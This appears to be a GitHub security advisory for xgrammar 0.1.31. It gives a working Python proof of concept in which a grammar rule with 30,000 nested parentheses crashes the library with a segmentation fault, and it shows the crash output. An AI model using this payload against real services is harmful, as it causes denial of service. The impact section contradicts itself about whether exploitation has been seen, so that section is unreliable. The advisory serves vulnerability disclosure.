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GHSA-7rgv-gqhr-fxg3
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Summary
The multi-level nested syntax caused a segmentation fault (core dump).
Details
A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.
PoC
#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""
import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig
s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"
def main():
device = "cuda" if torch.cuda.is_available() else "cpu"
model_name = "Qwen/Qwen2.5-0.5B-Instruct"
# Load model
model = AutoModelForCausalLM.from_pretrained(
model_name,
torch_dtype=torch.float16 if device == "cuda" else torch.float32,
device_map=device
)
tokenizer = AutoTokenizer.from_pretrained(model_name)
config = AutoConfig.from_pretrained(model_name)
# Math expression grammar
math_grammar = grammar
# Setup
tokenizer_info = xgr.TokenizerInfo.from_huggingface(
tokenizer,
vocab_size=config.vocab_size
)
compiler = xgr.GrammarCompiler(tokenizer_info)
compiled_grammar = compiler.compile_grammar(math_grammar)
# Generate
prompt = "Math: "
inputs = tokenizer(prompt, return_tensors="pt").to(device)
xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
output_ids = model.generate(
**inputs,
max_new_tokens=50,
logits_processor=[xgr_processor]
)
result = tokenizer.decode(
output_ids[0][len(inputs.input_ids[0]):],
skip_special_tokens=True
)
print(f"Generated expression: {result}")
if __name__ == "__main__":
main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page:
Author: MLC Team
Author-email:
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by:
> python3 1.py
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)
Impact
DoS
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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